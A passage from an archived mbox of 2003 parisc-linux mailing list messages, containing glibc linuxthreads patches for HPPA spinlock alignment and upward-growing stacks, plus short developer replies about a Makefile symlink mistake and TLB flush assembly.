	(__pthread_spin_lock): Use __ldcw_align and __ldcw.
	(__pthread_spin_trylock): Likewise.
	(__pthread_spin_unlock): Use __ldcw_align.
	(__pthread_spin_init): Likewise.
	* sysdeps/hppa/pt-machine.h
	(THREAD_SELF): New.
	(INIT_THREAD_SELF): New.
	(__ldcw): New.
	(__ldcw_align): New.
	(__load_and_clear): New.
	(testandset): New.
	(lock_held): New.
	* sysdeps/unix/sysv/linux/hppa/bits/pthreadtypes.h: New file.
	* sysdeps/unix/sysv/linux/hppa/bits/initspin.h:	Define changed to 
	match struct __atomic_lock_t.

diff -u -p -r1.3 pspinlock.c
--- libc/linuxthreads/sysdeps/hppa/pspinlock.c	26 Aug 2002 22:39:51 -0000	1.3
+++ libc/linuxthreads/sysdeps/hppa/pspinlock.c	12 Oct 2003 20:08:46 -0000
@@ -24,13 +24,10 @@
 int
 __pthread_spin_lock (pthread_spinlock_t *lock)
 {
-  unsigned int val;
+  volatile unsigned int *addr = __ldcw_align (lock);
 
-  do
-    asm volatile ("ldcw %1,%0"
-		  : "=r" (val), "=m" (*lock)
-		  : "m" (*lock));
-  while (!val);
+  while (__ldcw (addr) == 0)
+    while (*addr == 0) ;
 
   return 0;
 }
@@ -40,13 +37,9 @@ weak_alias (__pthread_spin_lock, pthread
 int
 __pthread_spin_trylock (pthread_spinlock_t *lock)
 {
-  unsigned int val;
+  volatile unsigned int *a = __ldcw_align (lock);
 
-  asm volatile ("ldcw %1,%0"
-		: "=r" (val), "=m" (*lock)
-		: "m" (*lock));
-
-  return val ? 0 : EBUSY;
+  return __ldcw (a) ? 0 : EBUSY;
 }
 weak_alias (__pthread_spin_trylock, pthread_spin_trylock)
 
@@ -54,7 +47,9 @@ weak_alias (__pthread_spin_trylock, pthr
 int
 __pthread_spin_unlock (pthread_spinlock_t *lock)
 {
-  *lock = 1;
+  volatile unsigned int *a = __ldcw_align (lock);
+
+  *a = 1;
   return 0;
 }
 weak_alias (__pthread_spin_unlock, pthread_spin_unlock)
@@ -66,7 +61,9 @@ __pthread_spin_init (pthread_spinlock_t 
   /* We can ignore the `pshared' parameter.  Since we are busy-waiting
      all processes which can access the memory location `lock' points
      to can use the spinlock.  */
-  *lock = 1;
+  volatile unsigned int *a = __ldcw_align (lock);
+
+  *a = 1;
   return 0;
 }
 weak_alias (__pthread_spin_init, pthread_spin_init)
diff -u -p -r1.6 pt-machine.h
--- libc/linuxthreads/sysdeps/hppa/pt-machine.h	31 Jul 2003 19:15:42 -0000	1.6
+++ libc/linuxthreads/sysdeps/hppa/pt-machine.h	5 Aug 2003 19:58:59 -0000
@@ -22,41 +22,97 @@
 #ifndef _PT_MACHINE_H
 #define _PT_MACHINE_H   1
 
+#include <sys/types.h>
 #include <bits/initspin.h>
 
 #ifndef PT_EI
 # define PT_EI extern inline __attribute__ ((always_inline))
 #endif
 
-extern long int testandset (int *spinlock);
-extern int __compare_and_swap (long int *p, long int oldval, long int newval);
+extern inline long int testandset (__atomic_lock_t *spinlock);
+extern inline int __compare_and_swap (long int *p, long int oldval, long int newval);
+extern inline int lock_held (__atomic_lock_t *spinlock); 
+extern inline int __load_and_clear (__atomic_lock_t *spinlock);
 
 /* Get some notion of the current stack.  Need not be exactly the top
    of the stack, just something somewhere in the current frame.  */
 #define CURRENT_STACK_FRAME  stack_pointer
 register char * stack_pointer __asm__ ("%r30");
 
+/* Get/Set thread-specific pointer.  We have to call into the kernel to
+ * modify it, but we can read it in user mode.  */
+
+#define THREAD_SELF __get_cr27()
+
+static inline struct _pthread_descr_struct * __get_cr27(void)
+{
+	long cr27;
+	asm("mfctl %%cr27, %0" : "=r" (cr27) : );
+	return (struct _pthread_descr_struct *) cr27;
+}
+
+#define INIT_THREAD_SELF(descr, nr) __set_cr27(descr)
+
+static inline void __set_cr27(struct _pthread_descr_struct * cr27)
+{
+	asm(
+		"ble	0xe0(%%sr2, %%r0)\n\t"
+		"copy	%0, %%r26"
+	 : : "r" (cr27) : "r26" );
+}
+
+/* We want the OS to assign stack addresses.  */
+#define FLOATING_STACKS	1
+#define ARCH_STACK_MAX_SIZE	8*1024*1024
 
 /* The hppa only has one atomic read and modify memory operation,
    load and clear, so hppa spinlocks must use zero to signify that
-   someone is holding the lock.  */
+   someone is holding the lock.  The address used for the ldcw
+   semaphore must be 16-byte aligned.  */
+#define __ldcw(a) ({ \
+  unsigned int __ret;							\
+  __asm__ __volatile__("ldcw 0(%2),%0"					\
+                      : "=r" (__ret), "=m" (*(a)) : "r" (a));		\
+  __ret;								\
+})
+
+/* Because malloc only guarantees 8-byte alignment for malloc'd data,
+   and GCC only guarantees 8-byte alignment for stack locals, we can't
+   be assured of 16-byte alignment for atomic lock data even if we
+   specify "__attribute ((aligned(16)))" in the type declaration.  So,
+   we use a struct containing an array of four ints for the atomic lock
+   type and dynamically select the 16-byte aligned int from the array
+   for the semaphore.  */
+#define __PA_LDCW_ALIGNMENT 16
+#define __ldcw_align(a) ({ \
+  volatile unsigned int __ret = (unsigned int) a;			\
+  if ((__ret & ~(__PA_LDCW_ALIGNMENT - 1)) < (unsigned int) a)		\
+    __ret = (__ret & ~(__PA_LDCW_ALIGNMENT - 1)) + __PA_LDCW_ALIGNMENT; \
+  (unsigned int *) __ret;						\
+})
 
-#define xstr(s) str(s)
-#define str(s) #s
 /* Spinlock implementation; required.  */
-PT_EI long int
-testandset (int *spinlock)
+PT_EI int
+__load_and_clear (__atomic_lock_t *spinlock)
 {
-  int ret;
+  volatile unsigned int *a = __ldcw_align (spinlock);
 
-  __asm__ __volatile__(
-       "ldcw 0(%2),%0"
-       : "=r"(ret), "=m"(*spinlock)
-       : "r"(spinlock));
+  return __ldcw (a);
+}
 
-  return ret == 0;
+/* Emulate testandset */
+PT_EI long int
+testandset (__atomic_lock_t *spinlock)
+{
+  return (__load_and_clear(spinlock) == 0);
 }
-#undef str
-#undef xstr
 
+PT_EI int
+lock_held (__atomic_lock_t *spinlock)
+{
+  volatile unsigned int *a = __ldcw_align (spinlock);
+
+  return *a == 0;
+}
+		
 #endif /* pt-machine.h */
--- libc/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/pthreadtypes.h.orig	1969-12-31 19:00:00.000000000 -0500
+++ libc/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/pthreadtypes.h	2003-04-26 14:40:04.000000000 -0400
@@ -0,0 +1,160 @@
+/* Linuxthreads - a simple clone()-based implementation of Posix        */
+/* threads for Linux.                                                   */
+/* Copyright (C) 1996 Xavier Leroy (Xavier.Leroy@inria.fr)              */
+/*                                                                      */
+/* This program is free software; you can redistribute it and/or        */
+/* modify it under the terms of the GNU Library General Public License  */
+/* as published by the Free Software Foundation; either version 2       */
+/* of the License, or (at your option) any later version.               */
+/*                                                                      */
+/* This program is distributed in the hope that it will be useful,      */
+/* but WITHOUT ANY WARRANTY; without even the implied warranty of       */
+/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the        */
+/* GNU Library General Public License for more details.                 */
+
+#if !defined _BITS_TYPES_H && !defined _PTHREAD_H
+# error "Never include <bits/pthreadtypes.h> directly; use <sys/types.h> instead."
+#endif
+
+#ifndef _BITS_PTHREADTYPES_H
+#define _BITS_PTHREADTYPES_H	1
+
+#define __need_schedparam
+#include <bits/sched.h>
+
+/* We need 128-bit alignment for the ldcw semaphore.  At most, we are
+   assured of 64-bit alignment for stack locals and malloc'd data.  Thus,
+   we use a struct with four ints for the atomic lock type.  The locking
+   code will figure out which of the four to use for the ldcw semaphore.  */
+typedef volatile struct {
+  int lock[4];
+} __attribute__ ((aligned(16))) __atomic_lock_t;
+
+/* Fast locks (not abstract because mutexes and conditions aren't abstract). */
+struct _pthread_fastlock
+{
+  long int __status;		/* "Free" or "taken" or head of waiting list */
+  __atomic_lock_t __spinlock;	/* Used by compare_and_swap emulation.  Also,
+				   adaptive SMP lock stores spin count here. */
+};
+
+#ifndef _PTHREAD_DESCR_DEFINED
+/* Thread descriptors */
+typedef struct _pthread_descr_struct *_pthread_descr;
+# define _PTHREAD_DESCR_DEFINED
+#endif
+
+
+/* Attributes for threads.  */
+typedef struct __pthread_attr_s
+{
+  int __detachstate;
+  int __schedpolicy;
+  struct __sched_param __schedparam;
+  int __inheritsched;
+  int __scope;
+  size_t __guardsize;
+  int __stackaddr_set;
+  void *__stackaddr;
+  size_t __stacksize;
+} pthread_attr_t;
+
+
+/* Conditions (not abstract because of PTHREAD_COND_INITIALIZER */
+
+#ifdef __GLIBC_HAVE_LONG_LONG
+__extension__ typedef long long __pthread_cond_align_t;
+#else
+typedef long __pthread_cond_align_t;
+#endif
+
+typedef struct
+{
+  struct _pthread_fastlock __c_lock; /* Protect against concurrent access */
+  _pthread_descr __c_waiting;        /* Threads waiting on this condition */
+  char __padding[48 - sizeof (struct _pthread_fastlock)
+		 - sizeof (_pthread_descr) - sizeof (__pthread_cond_align_t)];
+  __pthread_cond_align_t __align;
+} pthread_cond_t;
+
+
+/* Attribute for conditionally variables.  */
+typedef struct
+{
+  int __dummy;
+} pthread_condattr_t;
+
+/* Keys for thread-specific data */
+typedef unsigned int pthread_key_t;
+
+
+/* Mutexes (not abstract because of PTHREAD_MUTEX_INITIALIZER).  */
+/* (The layout is unnatural to maintain binary compatibility
+    with earlier releases of LinuxThreads.) */
+typedef struct
+{
+  int __m_reserved;               /* Reserved for future use */
+  int __m_count;                  /* Depth of recursive locking */
+  _pthread_descr __m_owner;       /* Owner thread (if recursive or errcheck) */
+  int __m_kind;                   /* Mutex kind: fast, recursive or errcheck */
+  struct _pthread_fastlock __m_lock; /* Underlying fast lock */
+} pthread_mutex_t;
+
+
+/* Attribute for mutex.  */
+typedef struct
+{
+  int __mutexkind;
+} pthread_mutexattr_t;
+
+
+/* Once-only execution */
+typedef int pthread_once_t;
+
+
+#ifdef __USE_UNIX98
+/* Read-write locks.  */
+typedef struct _pthread_rwlock_t
+{
+  struct _pthread_fastlock __rw_lock; /* Lock to guarantee mutual exclusion */
+  int __rw_readers;                   /* Number of readers */
+  _pthread_descr __rw_writer;         /* Identity of writer, or NULL if none */
+  _pthread_descr __rw_read_waiting;   /* Threads waiting for reading */
+  _pthread_descr __rw_write_waiting;  /* Threads waiting for writing */
+  int __rw_kind;                      /* Reader/Writer preference selection */
+  int __rw_pshared;                   /* Shared between processes or not */
+} pthread_rwlock_t;
+
+
+/* Attribute for read-write locks.  */
+typedef struct
+{
+  int __lockkind;
+  int __pshared;
+} pthread_rwlockattr_t;
+#endif
+
+#ifdef __USE_XOPEN2K
+/* POSIX spinlock data type.  */
+typedef __atomic_lock_t pthread_spinlock_t;
+
+/* POSIX barrier. */
+typedef struct {
+  struct _pthread_fastlock __ba_lock; /* Lock to guarantee mutual exclusion */
+  int __ba_required;                  /* Threads needed for completion */
+  int __ba_present;                   /* Threads waiting */
+  _pthread_descr __ba_waiting;        /* Queue of waiting threads */
+} pthread_barrier_t;
+
+/* barrier attribute */
+typedef struct {
+  int __pshared;
+} pthread_barrierattr_t;
+
+#endif
+
+
+/* Thread identifiers */
+typedef unsigned long int pthread_t;
+
+#endif	/* bits/pthreadtypes.h */
diff -urN glibc-2.3.1.orig/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/initspin.h glibc-2.3.1/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/initspin.h
--- glibc-2.3.1.orig/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/initspin.h	2002-08-26 18:39:55.000000000 -0400
+++ glibc-2.3.1/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/initspin.h	2003-01-15 18:24:49.000000000 -0500
@@ -17,11 +17,23 @@
    write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330,
    Boston, MA 02111-1307, USA.  */
 
+/* Initialize global spinlocks without cast, generally macro wrapped */
+#define __LT_SPINLOCK_ALT_INIT { { 1, 1, 1, 1, } }
+
 /* Initial value of a spinlock.  PA-RISC only implements atomic load
    and clear so this must be non-zero. */
-#define __LT_SPINLOCK_INIT 1
+#define __LT_SPINLOCK_INIT ((__atomic_lock_t) __LT_SPINLOCK_ALT_INIT)
+
+/* Macros for lock initializers, not using the above definition.
+   The above definition is not used in the case that static initializers
+   use this value. */
+#define __LOCK_INITIALIZER { 0, __LT_SPINLOCK_ALT_INIT }
+#define __ATOMIC_INITIALIZER { 0, __LT_SPINLOCK_ALT_INIT }
+
+/* Used to initialize _pthread_fastlock's in non-static case */
+#define __LOCK_ALT_INITIALIZER ((struct _pthread_fastlock){ 0, __LT_SPINLOCK_INIT })
+
+/* Tell the rest of the code that the initializer is non-zero without
+   explaining it's internal structure */
+#define __LT_INITIALIZER_NOT_ZERO
 
-/* Macros for lock initializers, using the above definition. */
-#define __LOCK_INITIALIZER { 0, __LT_SPINLOCK_INIT }
-#define __ALT_LOCK_INITIALIZER { 0, __LT_SPINLOCK_INIT }
-#define __ATOMIC_INITIALIZER { 0, __LT_SPINLOCK_INIT }


From - Thu Nov 08 21:29:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] oldsemaphore fixup for hppa (4/3?)
Date: Sun, 12 Oct 2003 17:35:37 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20031012213537.GI23999__18713.9636058875$1416622868$gmane$org@systemhalted>
References: <20031010210438.GI6454@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622868 32549 80.91.229.3 (22 Nov 2014 02:21:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:08 +0000 (UTC)
To: libc-alpha <libc-alpha@sources.redhat.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 12 15:39:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id BB5364A5F
	for <parisc-linux@lists.parisc-linux.org>; Sun, 12 Oct 2003 15:39:01 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A8nsH-0006s8-00; Sun, 12 Oct 2003 17:35:37 -0400
Content-Disposition: inline
In-Reply-To: <20031010210438.GI6454@systemhalted>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (29% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19802

On Fri, Oct 10, 2003 at 05:04:38PM -0400, Carlos O'Donell wrote:
> 
> libc-alpha,
> 
> Wrote up the changelogs, reviewed them, and then forgot I had a small
> patch to commit for oldsemaphore. This goes in with the first patch 1/3
> that defines the generic libc changes required for linuxthreads to work
> on HPPA.
> 
> Cheers,
> Carlos
> ===
> 
> 2003-10-10  Carlos O'Donell  <carlos@baldric.uwo.ca>
> 
> 	* linuxthreads/oldsemaphore.c:	sem_spinlock in struct old_sem_t 
> 	is an __atomic_lock_t.

Patch has been moved into (1/3, Round 2).

c.



From - Thu Nov 08 21:29:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] _STACK_GROWS_UP fixes.
Date: Sun, 12 Oct 2003 17:37:34 -0400
Lines: 91
Approved: news@gmane.org
Message-ID: <20031012213734.GJ23999__26503.8407793783$1416622869$gmane$org@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622869 32552 80.91.229.3 (22 Nov 2014 02:21:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:09 +0000 (UTC)
To: libc-alpha <libc-alpha@sources.redhat.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 12 15:40:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8A3E84A67
	for <parisc-linux@lists.parisc-linux.org>; Sun, 12 Oct 2003 15:40:59 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A8nuB-0006sm-00; Sun, 12 Oct 2003 17:37:35 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (29% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19803

libc-alpha,

Fix stack grows up.
In a stack grows down scenario the stack pointer is between:

BOS <--- SP ---> h_descr

In the stack grows up scenarion we have:

h_descr,BOS <--- SP ---> STACK GUARD

TOS is not stored, and thus the stack guard start address is
used.

This fixes a regression on HPPA where a cancellation signal would
reach the child thread before the thread register had been setup.
In that situation __pthread_self_stack was called to determine
which thread was active, with the logic backwards, and no limit
in place the while loop spun until it encountered garbage that 
caused the logical expression to evaluate to true. This garbage stack 
address was fatal to the proper execution of the program.

Cheers,
Carlos

===
===

2003-10-06  Carlos O'Donell <carlos@baldric.uwo.ca>

	* pthread.c (__pthread_self_stack): _STACK_GROWS_UP case added.
	(__pthread_find_self): Likewise.
	* manager.c (thread_segment): _STACK_GROWS_UP case added.

diff -u -p -r1.131 pthread.c
--- linuxthreads/pthread.c	23 Sep 2003 04:33:01 -0000	1.131
+++ linuxthreads/pthread.c	12 Oct 2003 20:57:53 -0000
@@ -893,7 +893,11 @@ pthread_descr __pthread_find_self(void)
   /* __pthread_handles[0] is the initial thread, __pthread_handles[1] is
      the manager threads handled specially in thread_self(), so start at 2 */
   h = __pthread_handles + 2;
+# ifdef _STACK_GROWS_UP
+  while (! (sp >= (char *) h->h_descr && sp < h->h_descr->p_guardaddr)) h++;
+# else
   while (! (sp <= (char *) h->h_descr && sp >= h->h_bottom)) h++;
+# endif
   return h->h_descr;
 }
 
@@ -908,11 +912,22 @@ pthread_descr __pthread_self_stack(void)
     return manager_thread;
   h = __pthread_handles + 2;
 # ifdef USE_TLS
+#  ifdef _STACK_GROWS_UP
+  while (h->h_descr == NULL
+	 || ! (sp >= h->h_descr->p_stackaddr && 
+	       sp < h->h_descr->p_guardaddr))
+#  else
   while (h->h_descr == NULL
-	 || ! (sp <= (char *) h->h_descr->p_stackaddr && sp >= h->h_bottom))
+	 || ! (sp <= h->h_descr->p_stackaddr && 
+	       sp >= h->h_bottom))
+#  endif
     h++;
 # else
+#  ifdef _STACK_GROWS_UP
+  while (! (sp >= (char *) h->h_descr && sp < h->h_descr->p_guardaddr))
+#  else
   while (! (sp <= (char *) h->h_descr && sp >= h->h_bottom))
+#  endif
     h++;
 # endif
   return h->h_descr;
diff -u -p -r1.95 manager.c
--- linuxthreads/manager.c	12 Aug 2003 03:40:45 -0000	1.95
+++ linuxthreads/manager.c	12 Oct 2003 20:58:00 -0000
@@ -70,8 +70,13 @@ static pthread_descr manager_thread;
 #else
 static inline pthread_descr thread_segment(int seg)
 {
+# ifdef _STACK_GROWS_UP
+  return (pthread_descr)(THREAD_STACK_START_ADDRESS + (seg - 1) * STACK_SIZE)
+         + 1;
+# else
   return (pthread_descr)(THREAD_STACK_START_ADDRESS - (seg - 1) * STACK_SIZE)
          - 1;
+# endif
 }
 #endif
 


From - Thu Nov 08 21:29:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: k-2.6.0-test7-pa5: failled 2 pass
Date: Mon, 13 Oct 2003 00:58:09 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20031012235809.GM27861@parcelfarce.linux.theplanet.co.uk>
References: <3F8739E2.2050205@tiscali.be> <3F893F92.4060606@tiscali.be> <3F894211.2090106@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622869 32558 80.91.229.3 (22 Nov 2014 02:21:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:09 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 12 17:58:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4DE2348D1
	for <parisc-linux@parisc-linux.org>; Sun, 12 Oct 2003 17:58:11 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A8q6D-0002hB-MW; Mon, 13 Oct 2003 00:58:09 +0100
Content-Disposition: inline
In-Reply-To: <3F894211.2090106@tiscali.be>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19804

On Sun, Oct 12, 2003 at 11:59:13AM +0000, Joel Soete wrote:
> May be the fix should be:
> --- Makefile.orig	2003-10-12 13:50:43.000000000 +0200
> +++ Makefile	2003-10-12 13:57:57.000000000 +0200
> @@ -627,8 +627,8 @@
>  # Can't rely on distributing these syminks as patches
>  include/user:
>  	@echo '  Making user->usr/include/linux symlink'
> -	@ln -s ../usr/include/linux $@
> -	@ln -s ../usr/include/asm-$(ARCH) include/user-asm
> +	@ln -fsn ../usr/include/linux $@
> +	@ln -fsn ../usr/include/asm-$(ARCH) include/user-asm
> 
>  # 	Split autoconf.h into include/linux/config/*

Argh.  I never intended to check this in.  My apologies.  I'll unbreak it now.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] flush_tlb_all_local:
Date: Sun, 12 Oct 2003 21:12:58 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <20031013031258.GC2467@colo.lackof.org>
References: <3F897C56.800@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622869 32561 80.91.229.3 (22 Nov 2014 02:21:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:09 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 12 21:13:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id EC14F4841
	for <parisc-linux@parisc-linux.org>; Sun, 12 Oct 2003 21:12:59 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id F216729804A; Sun, 12 Oct 2003 21:12:58 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 02627-05; Sun, 12 Oct 2003 21:12:58 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 4ED55298038; Sun, 12 Oct 2003 21:12:58 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3F897C56.800@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19805

On Sun, Oct 12, 2003 at 04:07:50PM +0000, Joel Soete wrote:
>         ldo     R%REAL_MODE_PSW(%r1), %r1
>         mtctl   %r1, %cr22
>         mtctl   %r0, %cr17
>         mtctl   %r0, %cr17
> [...]
> 
> Why twice 'mtctl   %r0, %cr17'?

Good question. No clue. Looks like a brain fart since clearing it
 once should work unless there's a weird bug. I'll remove it.

> and also:
> [...]
> fitmanymiddle:                                  /* Loop if LOOP >= 2 */
>         ADDIB>          -1,%r31,fitmanymiddle   /* Adjusted inner loop 
> decr */
>         pitlbe          0(%sr1,%r28)
>         pitlbe,m        %arg1(%sr1,%r28)        /* Last pitlbe and addr 
> adjust */
> 
> Typicaly the function name is flush_..., so why do we 'purge' here?

AFAICT, because purge is sufficient.
It doesn't look like parisc even provides a FITBLE instruction.

thanks,
grant


From - Thu Nov 08 21:29:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] flush_tlb_all_local:
Date: Sun, 12 Oct 2003 22:14:48 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <20031013041448.GD2467@colo.lackof.org>
References: <3F897C56.800@tiscali.be> <20031013031258.GC2467@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622869 32565 80.91.229.3 (22 Nov 2014 02:21:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:09 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
